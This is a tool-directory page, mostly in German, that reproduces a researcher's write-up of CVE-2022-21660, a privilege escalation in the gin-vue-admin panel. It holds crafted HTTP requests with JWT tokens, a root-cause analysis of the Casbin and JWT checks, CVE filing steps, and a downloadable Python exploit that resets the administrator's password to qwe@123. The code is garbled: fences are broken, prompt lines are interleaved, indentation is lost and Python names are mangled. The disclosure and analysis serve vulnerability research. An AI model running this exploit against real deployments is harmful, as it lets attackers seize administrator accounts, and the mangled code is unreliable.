Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Gin-Vue-admin-poc-CVE-2022-21660 — CVE-2022-21660 | Kitploit
Tools/GitHubGitHub/uzju/gin-vue-admin-poc-cve-2022-21660
Authentifizierung & AutorisierungSchwachstellenanalyseCode-AnalyseWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubuzju/gin-vue-admin-poc-cve-2022-21660

Gin-Vue-admin-poc-CVE-2022-21660

CVE-2022-21660

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
2812vor 4 JahrenVon Kitploit geprüft

Gin-Vue-admin Vertikale Berechtigungseskalationslücke und Code-Analyse – CVE-2022-21660

1. Einleitung

Herzlich willkommen an alle großen Meister, diesem Projekt einen Stern zu geben.```http https://github.com/flipped-aurora/gin-vue-admin/

root@kitploit:~
![image-20211230151736779](https://assets.kitploit.com/production/public/readmes/21446/71b9c7be5f13561509daa3fc736b2aea1c17b75e10b235f8c2d5f0de659c3c66.png)

Nachdem der Artikel fertig geschrieben war, war es etwas umständlich, eine CVE zu beantragen, aber es hat letztendlich geklappt. Die Mitarbeiter von GitHub reagierten schnell.

> ps: Bevor die CVE beantragt wurde, wurde bereits CNVD eingereicht.

![image-20220107161655217](https://assets.kitploit.com/production/public/readmes/21446/51ecd3b8efcedb1fecf7b0d8264427765671259fae56a2f5321a4b58767dc74f/c4bc4bc93c1873f0c50d4ca2e7d7c96df00de3fe51f16d3c2f521893ece15b82-display-v1.webp)

### 2. Aufbau der Umgebung

Gemäß der offiziellen Anleitung```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git

Wechseln Sie anschließend in das server-Verzeichnis.```bash go generate

root@kitploit:~
![image-20211230134341075](https://assets.kitploit.com/production/public/readmes/21446/d8f231abdbc0cea6288cbc17eefce6b29afcbfed204604de65a3b8c52ab6ad6e/ec800af00e34f058b162aaad63f41568403c7d3faa454995b819d195dc2e672f-display-v1.webp)```bash
go build -o server main.go 

Dann einfach den Server starten

image-20211230134411233

Dann ist WEB dran. Gehe in das web-Verzeichnis und gib ein:```bash cnpm install || npm install

root@kitploit:~
Warten Sie dann einfach

![image-20211230134632959](https://assets.kitploit.com/production/public/readmes/21446/ab6d47376ec0a1654914fab89718b1a9bf93e407e1ab96a3946c2f60a0b12ead/cd7c364c3a31d399033a3d8738976a6e2e3779f0269ee879617df328149e433c-display-v1.webp)

Nach der Installation wird automatisch die Webseite geöffnet

![image-20211230135126848](https://assets.kitploit.com/production/public/readmes/21446/e9f559f44a155a8aa121c39f3b218cac78a01fa26b481cf50e8020ea42529668.png)

![image-20211230135135212](https://assets.kitploit.com/production/public/readmes/21446/fdddc36fb55b29816c3e61125054370b2c799450c04d78a02fac4d33f569948c.png)

Dann initialisieren und die Datenbankinformationen einrichten

![image-20211230135407388](https://assets.kitploit.com/production/public/readmes/21446/13b356986b6faf82ee4208810f4dbf77ba245dc443e13c054f0cafb665c31f8c.png)

Nach der Konfiguration klicken Sie auf Initialisieren und melden Sie sich an

![image-20211230135437587](https://assets.kitploit.com/production/public/readmes/21446/9864349c21be1c8fa66de709f2e497834cfdf2f3233e286336fa02cdb5834466.png)

### 3. Schwachstellen-Reproduktion

### SetUserInfo: Vertikale Privilegieneskalation

##### 1. Schnittstelle SetUserInfo: Unberechtigtes Festlegen von Benutzerprofilen

Wir gehen direkt zur Benutzerverwaltungsseite und fügen eine neue Benutzerrolle mit niedrigen Berechtigungen hinzu

![image-20211230143853535](https://assets.kitploit.com/production/public/readmes/21446/acb51bc8ffff26bce3b7cf3956f9b38064871da099e64b3cdb3ab9c531d48da6.png)

Man sieht, dass oben keine Administratorberechtigungen vergeben wurden. Als nächstes erstellen wir ein neues Konto und weisen es dieser Rollengruppe zu

![image-20211230144026344](https://assets.kitploit.com/production/public/readmes/21446/c1e54b0502fe8b4dc83799856b01f4da02cc0f48d0e46fea1b577e050f99f3d2.png)

![image-20211230144005936](https://assets.kitploit.com/production/public/readmes/21446/c407678697464a33e6a879a627eea870a563a5ab0fd4e07b8ab357af4c0f75a9.png)

Die Schwachstelle befindet sich in Zeile 273 von https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go

![image-20211230141604735](https://assets.kitploit.com/production/public/readmes/21446/215bb4a987007cdb0a75e36ff67a217fd864a0aa9c53489f08d004f98ae6ac13.png)```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
	var user system.SysUser
	_ = c.ShouldBindJSON(&user)
	if err := utils.Verify(user, utils.IdVerify); err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	if err, ReqUser := userService.SetUserInfo(user); err != nil {
		global.GVA_LOG.Error("设置失败!", zap.Error(err))
		response.FailWithMessage("设置失败", c)
	} else {
		response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
	}
}

Hier gibt es keine Validierung der übergebenen ID; die ID repräsentiert den Benutzer. Wenn man eine bestimmte ID direkt übergibt, kann man die persönlichen Informationen des entsprechenden Benutzers ändern.

image-20211230141732113

Zuerst testen wir mit dem Admin-X-Token, den Namen des Benutzers mit ID 1 in test1 zu ändern. Anschließend können wir im Backend sehen, dass die Admin-ID bereits in test1 geändert wurde.

image-20211230144216099

Als Nächstes ersetzen wir das Token des neu erstellten Kontos UzJu_HxSecTeam und ändern den Admin-Benutzernamen in test2.

Zuerst rufen wir die persönlichen Informationen des Kontos UzJu_HxSecTeam auf, gehen zu Persönliche Informationen > Passwort ändern, ändern dort beliebig das Passwort und erhalten das Token des Kontos.

image-20211230144321622

Dieses Token gehört der Rolle mit niedrigen Berechtigungen. Normalerweise kann ein Benutzer mit niedrigen Berechtigungen keine Administratorinformationen ändern.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs

root@kitploit:~
Wir ersetzen das Token und konstruieren die folgenden JSON-Daten```json
{
  "id":1,
  "username":"test2",
  "nickName":"test2",
  "headerImg":""
}

image-20211230144527291

Wir ersetzen das Token in der setUserinfo-Schnittstelle.```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin

{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}

root@kitploit:~
Dann wird uns angezeigt, dass die Einstellung erfolgreich war.

![image-20211230144654682](https://assets.kitploit.com/production/public/readmes/21446/78fb75b188079d7168b0de84800ee86520c4487ba9005a80a3b40e1bce1e82c9.png)

Wir wechseln nun zum Administratorkonto, um zu überprüfen, ob es in test2 geändert wurde.

![image-20211230144727266](https://assets.kitploit.com/production/public/readmes/21446/bfbb0ee0323bae425bcf381e3722f362b794f583cc2d84a12bb5334bfc91a7a3.png)

Man sieht, dass der Administrator-Benutzer erfolgreich geändert wurde.

##### 2. Vertikale Berechtigungsüberschreitung der SetUserInfo-Schnittstelle zum bedingungslosen Ändern des Administratorkennworts

Beim Debuggen wurde festgestellt, dass die Schnittstelle setUserInfo zur Berechtigungsüberschreitung beim Festlegen persönlicher Informationen nicht nur id, username, nickname, headimg setzen kann, sondern auch Parameter wie password übergeben werden können.

![image-20211230222713086](https://assets.kitploit.com/production/public/readmes/21446/e1019ad6b5613329887ed40e9e2f5f1eddaa1fba49cff851dd89f997db74670e.png)

Zum Beispiel konstruieren wir eine Anfrage, um den Namen des Benutzers mit ID 1 auf admin und den Spitznamen auf Superuser-Administrator zu setzen.

![image-20211230222755083](https://assets.kitploit.com/production/public/readmes/21446/c379c4f7a1039625d62c90a0ace6a475cad615d8ff27bf7c508af0a4e04df48c.png)```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"Password":"qwe@123"
}

此时管理员的密码已经被修改为了qwe@123,尝试登陆

image-20211230222853109

随后成功登录

image-20211230222906607

ChangPassword – Privilegienüberschreitende Änderung des Benutzerpassworts

PS: Voraussetzung hierfür ist, dass das Passwort des Benutzers, den ich ändern möchte, bekannt sein muss.

Zunächst wissen wir, dass das Standard-Admin-Passwort 123456 ist. Zu diesem Zeitpunkt müssen wir nur JSON-Daten erstellen und den Parameter username in den JSON-Daten in den Benutzernamen ändern, den wir privilegienüberschreitend ändern möchten.

Zunächst melden wir uns mit einem Konto mit niedrigen Berechtigungen an und ändern einmal das Passwort.

image-20211230145433929

Wir werden eine changePassword-Anfrage abfangen und diese dann in den Repeater legen.

image-20211230145506647

Anschließend müssen wir nur den Parameter username in admin ändern.

image-20211230145615220

Danach wird uns mitgeteilt, dass die Änderung erfolgreich war. Dann melden wir uns mit dem neuen Passwort als admin an.

image-20211230145704428

Anschließend erfolgreich angemeldet.

image-20211230145725332

Die Schwachstelle befindet sich in https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go, Zeile 139.```go // @Tags SysUser // @Summary 用户修改密码 // @Security ApiKeyAuth // @Produce application/json // @Param data body systemReq.ChangePasswordStruct true "用户名, 原密码, 新密码" // @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}" // @Router /user/changePassword [post] func (b *BaseApi) ChangePassword(c *gin.Context) { var user systemReq.ChangePasswordStruct _ = c.ShouldBindJSON(&user) if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil { response.FailWithMessage(err.Error(), c) return } u := &system.SysUser{Username: user.Username, Password: user.Password} if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil { global.GVA_LOG.Error("修改失败!", zap.Error(err)) response.FailWithMessage("修改失败,原密码与当前账户不符", c) } else { response.OkWithMessage("修改成功", c) } }

root@kitploit:~
> Hier gibt es eine Kontroverse: Da man den Benutzernamen und das Passwort anderer bereits kennt, könnte man sich doch einfach in deren Konto einloggen. Das ist in der Tat möglich, allerdings ist der logische Ablauf unseres Programms wie folgt: Wir haben die Authentifizierung bereits abgeschlossen. Normalerweise kann der aktuelle Benutzer nur sein eigenes Passwort ändern, aber hier kann durch Ändern der ID das Passwort eines anderen geändert werden. Aus einem anderen Blickwinkel betrachtet, kann man dies auch als eine Art Brute-Force-Angriff betrachten, da die Anmeldeseite durch einen Captcha geschützt ist.

### 4. Analyse der Schwachstellenursache

> PS: Der gesamte folgende Inhalt stammt aus dem Verständnis eines Skript-Kiddies, das überhaupt kein Go gelernt hat, keine Entwicklungserfahrung hat und nur Python beherrscht.

Betrachten wir zunächst, warum es aus normaler Geschäftslogik zu einer Berechtigungsausweitung kommen kann. Das Prinzip ist eigentlich recht einfach: Beim Erstellen einer neuen Rollenberechtigung gibt es einige obligatorische Parameter. Genau diese Parameter ermöglichen dem Benutzer eine Berechtigungsausweitung (obwohl man sie nicht abwählen kann, da es sich um Standard-Mandatory-Parameter handelt). Letztlich liegt das Problem im Code, der einen logischen Fehler aufweist.

![image-20211230162340184](https://assets.kitploit.com/production/public/readmes/21446/20a1d4c86c7742b02ade2545ffc1d9daf09da8e36196c53f22e1c4c75cfcdc61.png)

Zunächst sehen wir uns die Berechtigungen der Rolle nach dem Erstellen an:

![image-20211230162510272](https://assets.kitploit.com/production/public/readmes/21446/f2200104b5e87458273e49a127381deb2caf6d8c18f47cebfec3f51c98ce7392.png)

Man sieht, dass der standardmäßig neu erstellte Benutzer in der Rollenmenü nur die Berechtigung hat, auf das Dashboard zuzugreifen. Schauen wir uns jedoch die API-Berechtigungen der Rolle an:

![image-20211230162602998](https://assets.kitploit.com/production/public/readmes/21446/a0ae26ec2f658f8410fabc66becd2404fa38bbb85dca5c907c56bd6cea19a82d.png)

Hier gibt es einige obligatorische Berechtigungen:

+ Benutzerregistrierung
+ Benutzerinformationen festlegen
+ Eigene Informationen abrufen
+ Passwort ändern
+ Benutzerrolle ändern

Dies ist auch der Ursprung dieser Schwachstelle. Zunächst betrachten wir "Benutzerinformationen festlegen". Wenn wir die Auswahl aufheben:

![image-20211230162752207](https://assets.kitploit.com/production/public/readmes/21446/e5c25385cc35a0ca2235648dae3cc8d23b15ca179ce73a3c7f477f635526abb6.png)

Dann setzen wir den Token des Kontos der niedrigprivilegierten Rollengruppe in Burp und versuchen es:

![image-20211230163029027](https://assets.kitploit.com/production/public/readmes/21446/c082b88f880c845caa086ac66400d9969967c2c320572d1245b8c1987f264d6d.png)```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 83
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"headerImg":""}

Es ist sehr deutlich zu sehen, dass wir derzeit keine Berechtigung haben, diese Benutzerinformationen zu setzen. Und auf der Debug-Seite von Go können wir leicht feststellen, dass der Code-Logik nach, wie jetzt haben wir keine Berechtigung, Benutzerinformationen zu setzen, aber theoretisch hätte ich beim Zugriff auf dieses Interface einen Debug-Breakpoint setzen können, der abfängt. Aber wie unten im Bild zu sehen, nachdem ich den Breakpoint gesetzt habe, hat das Programm nicht angehalten.

image-20211230163258163

Daraus kann man schließen, dass vor dieser Operation eine Authentifizierung stattfinden sollte (üblich wäre wohl RBAC). Nun geben wir der niedrig privilegierten Rollengruppe die Berechtigung, Benutzer zu setzen, und spielen das Ganze noch einmal ab.

image-20211230163401844

image-20211230163437975

Wir können sehen, dass das Programm hier erfolgreich angehalten hat. Ich denke (als Go-Anfänger), dass man über Debugging die Authentifizierung hier finden kann :)

Zuerst unter Mac mit Command + linker Maustaste herausfinden, wo diese Funktion aufgerufen wird.

image-20211230172215924

Dann sieht man hier eine Funktion InitUserRouter, die die Benutzerrouten initialisiert.

image-20211230172303694

Weiter mit der alten Methode: Command + linker Mausklick, um herauszufinden, wo InitUserRoute aufgerufen wird.

image-20211230172756447

Hier fällt auf: Es gibt ein JWTAuth() und ein middleware.CasbinHandler().

Zuerst schauen wir uns middleware.JWTAuth() an, wieder mit Command + linker Mausklick.

image-20211230173029571

Dann gelangen wir zu einer jwt.go. Die Logik können wir uns ansehen (danke auch an den Autor für die Kommentare).

image-20211230173337186

In Go bedeutet token:= vermutlich, eine Variable zu definieren, die den x-token aus dem Header der Anfrage empfängt. Zuerst wird geprüft, ob der Token leer ist. Wenn leer, wird direkt zurückgegeben, dass der Benutzer nicht eingeloggt oder der Zugriff unerlaubt ist.

image-20211230173515740

Danach wird geprüft, ob der Benutzer-Token in einer Blacklist ist. Dies sollte über einen Cache oder beim Logout des Benutzers festgestellt werden, ob der Token bereits ungültig ist. Wenn ungültig, wird zurückgegeben, dass eine anderweitige Anmeldung oder der Token ungültig ist.

image-20211230173927005

Hier wird der Token an die Funktion ParseToken übergeben, um den Token zu parsen. Wir können dort hineinschauen.

image-20211230174153376

Ich verstehe nicht, was jwt.ParseWithClaims ist ... Traditionelles Vorgehen: google.com.

image-20211230174335903

https://www.cnblogs.com/taoshihan/p/15239208.html

Hier werden JWT-Ver- und Entschlüsselung durchgeführt und ein SigningKey zurückgegeben, dann geht es weiter.

Dank des Autors für den Hinweis: Hier wird der übergebene JWT-String geparst, um die jwt.Token-Struktur zu erhalten. Dann werden aus der Struktur die Claims extrahiert, um die Benutzerinformationen zu erhalten, die beim Erstellen des Tokens daran angehängt wurden.

image-20211230180325474

Durch Google habe ich erfahren, dass ValidationErrorMalformed verwendet wird, um zu prüfen, ob der Token fehlerhaft ist, dann ValidationErrorExpired für die Ablaufprüfung, dann ValidationErrorNotValidYet für die Aktivierungsprüfung, und dann wird zurückgegeben. Obwohl es unten noch einen Codeabschnitt gibt:

image-20211230181012200

Danach wird geprüft, ob der Token abgelaufen ist. Wenn nicht abgelaufen, geht es zu reload. Dann kommen wir zu middleware.CasbinHandler().

image-20211230181206422

Zuerst wird utils.GetClaims mit einem Parameter aufgerufen.

image-20211230181333671

Diese Funktion holt den x-token und parst diesen Token, um zu prüfen, ob er abgelaufen ist usw.

image-20211230185043326

Danach wird die Rolle des Benutzers geprüft. Die Zahlen 1234 hier sind die Rollengruppen-IDs, die wir im Web festgelegt haben.

image-20211230185135662

image-20211230185217506

Dann geht es zu casbinService.Casbin(), traditionelle Vorgehensweise: direkt Baidu.

image-20211230185413430

Wie zuvor vermutet, RBAC-Zugriffskontrolle. Hier wird eine Datenbankverbindung hergestellt. Dann habe ich mit F7 Schrittweise eingesehen, aber es war zu kompliziert, um es zu verstehen.

image-20211230191210935

Anhand der Kommentare kann man schließen, dass hier die Berechtigungen geprüft werden.

Maschinelle Übersetzung: Enforce entscheidet, ob ein "Subject" auf ein "Object" mit der Operation "Action" zugreifen kann. Die Eingabeparameter sind normalerweise: (sub, obj, act).

image-20211230191631807

Danach wird geprüft, ob es sich um eine Entwicklungsumgebung handelt, und success ist gleich false. Hier steht || für "oder": entweder Erfolg oder Meldung "unzureichende Berechtigung".

Schauen wir uns an, wie das setuserinfo-Interface bei vorhandener Berechtigung abläuft. Zuerst setzen wir einen Breakpoint im Interceptor.

image-20211230214215348

Tipp: Durch Baidu habe ich herausgefunden, dass hier das Golang-Casbin-Zugriffskontroll-Framework verwendet wird. https://blog.csdn.net/qq_42015552/article/details/104013264

Dann setzen wir auch einen Breakpoint bei setuserinfo.

image-20211230214247389

Da der Interceptor im Programmablauf vor setuserinfo kommt, beginnen wir mit dem Debuggen des Interceptors.

Nachdem Burp die Anfrage gesendet hat, warten wir. Dann schauen wir uns das Schritt-für-Schritt-Debugging an.

image-20211230214329911

Zu diesem Zeitpunkt ist unsere Rollengruppe 1234.

image-20211230214503883

Dann wird die Datenbankverbindung hergestellt, danach die Berechtigungsprüfung.

image-20211230215514485

image-20211230215532447

Hier wird true zurückgegeben, was bedeutet, dass die Berechtigung vorhanden ist. Dann wird geprüft, ob es sich um eine Entwicklungsumgebung handelt oder ob success gleich true ist. Dies wird definitiv das erste if durchlaufen.

Dann gelangen wir zum setuserinfo-Interface.

image-20211230220206889

shouldBindJson bindet die JSON-Parameter.

image-20211230220707383

Danach wird hier vermutlich geprüft, ob die übergebenen JSON-Parameter korrekt sind.

image-20211230221153338

Unten wird direkt userid eingesetzt.

image-20220104134548099

Die ID hier wird vom Frontend übergeben und kann beliebig geändert werden, was zur Berechtigungseskalation führt.

image-20211230221415677

image-20211230221432290

Nachdem es in die Datenbank eingesetzt wurde, wird nach dem Update zurückgegeben.

image-20211230221556509

Dann ist das Update erfolgreich.

Die wichtigsten Authentifizierungsoperationen befinden sich in der Funktion CasbinHandler in der Datei cashbin.rbac.go, und zwar in casbinService.Casbin() und e.Enforce(sub, obj, act).

Mein Verständnis der Berechtigungseskalation hier ist: Wenn die Berechtigung zum Setzen von Benutzerinformationen erteilt wird, dann kann dieser Benutzer standardmäßig in der Berechtigungsregel Benutzerinformationen ändern, und beim Ändern kann die ID durch eine andere ersetzt werden, um die Daten eines anderen zu ändern.

An diesem Punkt wird klar: Zuerst wird über AuthorityId geprüft, ob der Benutzer die Berechtigung hat, auf ein bestimmtes Interface zuzugreifen.

image-20220104131901466

Aber die ID, die in setuserinfo verwendet wird, ist die Benutzerkonto-ID.

image-20220104132137472

Das führt zur Berechtigungseskalation, da diese ID vom Frontend kontrolliert werden kann und bereits nach der Authentifizierung liegt. Nach Rücksprache mit dem Autor erklärte er, dass die Reparatur relativ einfach sei, indem man user.id einfach als die dem JWT entsprechende Berechtigungs-ID zwangsweise zuweist. Dadurch würde keine Berechtigungseskalation mehr auftreten, da unabhängig davon, was das Frontend übergibt, im Code eine Zeile den Wert von user.id auf die dem aktuellen JWT entsprechende ID setzt.

In der Geschäftslogik sind diese Berechtigungen jedoch notwendig, da der aktuelle Benutzer ohne sie seine eigenen Informationen nicht ändern könnte.

image-20220104135624752

V. POC-Erstellung```python

#!/usr/bin/env python

-- coding: UTF-8 --

''' @Project :UzJuSecurityTools @File :Gin-Vue-Admin-Poc.py @Author :UzJu @Date :2021/12/31 11:20 @Email :[email protected] '''

import requests import json import sys

class GinVueAdminPoc: def init(self, url, token): self.url = url self.jwt_token = token ''' define vuln interface ''' # Method PUT Severity High self.setUserInfo = "/api/user/setUserInfo" # Method POST Severity Moderate self.changePassword = "/api/user/changePassword"

root@kitploit:~
def checkVuln(self):
    '''
    因为默认管理员的用户ID为1,所以,这里直接修改ID为1的用户账号为admin,密码为qwe@123
    在实际使用中,可以通过遍历ID,来判断哪个ID用户存在,不过默认用户在实战中应该都是存在的
    The default user ID of the administrator is 1. Therefore, change the account of user 1 to admin and the password to qwe@123
    In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice
    '''
    payload_data = {
                        "id": 1,
                        "username": "admin",
                        "nickName": "超级管理员",
                        "Password": "qwe@123"
                    }
    # Change the administrator password to qwe@123, because the default administrator ID is 1
    headers = {
        "x-token": self.jwt_token
    }
    result = requests.put(url=self.url + self.setUserInfo,
                          headers=headers,
                          data=json.dumps(payload_data)
                          )
    if json.loads(result.content)['code'] == 7:
        print("[-]Modify the failure")
    elif json.loads(result.content)['code'] == 0:
        print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")

def check_interface_ChangePassword(self):
    '''
    wait
    '''
    pass

if name == 'main': try: Banner_2 = '''

root@kitploit:~
     /$$   /$$              /$$$$$          
    | $$  | $$             |__  $$          
    | $$  | $$ /$$$$$$$$      | $$ /$$   /$$
    | $$  | $$|____ /$$/      | $$| $$  | $$
    | $$  | $$   /$$$$/  /$$  | $$| $$  | $$
    | $$  | $$  /$$__/  | $$  | $$| $$  | $$
    |  $$$$$$/ /$$$$$$$$|  $$$$$$/|  $$$$$$/
     \______/ |________/ \______/  \______/                   
         Autor: UzJu   Email: [email protected]  GitHub: github.com/uzju  
    '''
    print(Banner_2)
    url = sys.argv[1]
    jwt_token = sys.argv[2]
    main = GinVueAdminPoc(url, jwt_token)
    main.checkVuln()
except:
    print("[-]please input url and token")
root@kitploit:~
Warum die Methode `check_interface_ChangePassword` nicht implementiert wurde: Dies könnte als Schnittstelle für Brute-Force-Angriffe betrachtet werden, denn bevor das Passwort eines beliebigen Benutzers geändert werden kann, muss das Passwort des entsprechenden Kontos bekannt sein – das ist wie Brute-Force. Deshalb wurde sie hier nicht implementiert. Bei der Methode `checkvuln` kann die `id` in den `payload_data`-JSON-Daten beliebig geändert werden; sie könnte auch in einer `for`-Schleife durchlaufen werden, da in der tatsächlichen Umgebung nicht sicher ist, ob die ID des Administrators `1` ist, oder falls böswillige Manipulation vorliegt, könnte dies gewisse Auswirkungen haben.

![image-20211231143107127](https://assets.kitploit.com/production/public/readmes/21446/3b2780b6dee596c6129292183ad4fcacab4167c400c5827adb7925a6185e8edc.png)

### 6. CVE-Beantragung

> CNVD muss nicht erwähnt werden – es wurde sicherlich bereits eingereicht; hier geht es um die Beantragung einer CVE.
>
> Die Nummernbeantragung über GitHub geht besonders schnell, im Grunde maximal 3 Tage; hier wurde am selben Tag am nächsten Morgen die vorläufige CVE-Nummer erhalten.
>
> Die folgenden Schritte erfordern die Unterstützung des Autors, sonst haben Sie nicht die Schaltfläche „New Draft security advisory“.

![image-20220107164730550](https://assets.kitploit.com/production/public/readmes/21446/133726a3f2309aed6a517e646e4f4b921a3ca2ceeeaa147dfe9a0a8515ef9207.png)

![image-20220107165445797](https://assets.kitploit.com/production/public/readmes/21446/f35ae5f108b77a841a7b3961c94e7f89535885505aadcfdd3011b671a2cf5d1f.png)

![image-20220107165519396](https://assets.kitploit.com/production/public/readmes/21446/4a15d060be13653a267fe20a7c7a119226cab32e5b04852375280ef1b77b5b60.png)

Im Description-Feld den Inhalt der Schwachstelle, den Reproduktionsprozess und den POC eintragen, dann auf „create draft security advisory“ klicken.

**Da wir dies zum ersten Mal beantragt haben, machten wir den Fehler, nur einen Entwurf zu erstellen, ohne eine Anfrage zu senden, was zu einer unnötigen Wartezeit von 7 Tagen führte.**

![image-20220107165651894](https://assets.kitploit.com/production/public/readmes/21446/7131fd63bff3675f9f1e90709e4d7b271d261d6b34daa93f2d523a298522a2f8.png)

Nach dem Ausfüllen unbedingt nach unten scrollen und auf „request CVE ID“ klicken.

![image-20220107165714011](https://assets.kitploit.com/production/public/readmes/21446/33f99cef9367fb123421c75786e4320f22b85e7c92b829653349ac74fc7ecea5.png)

![image-20220107165744293](https://assets.kitploit.com/production/public/readmes/21446/6c825102428e2d57120514254bf419322d5e40e83787a440a83797ee1a7e97ac.png)

> Referenzartikel: https://mp.weixin.qq.com/s/eGjDy20unW-fTiuSOOPgRg

### 7. Danksagung

+ Homepage des Autors: https://github.com/flipped-aurora/
+ GitHub des Autors: https://github.com/piexlmax
+ Projektadresse von Gin-vue-admin: https://github.com/flipped-aurora/gin-vue-admin
Tool herunterladen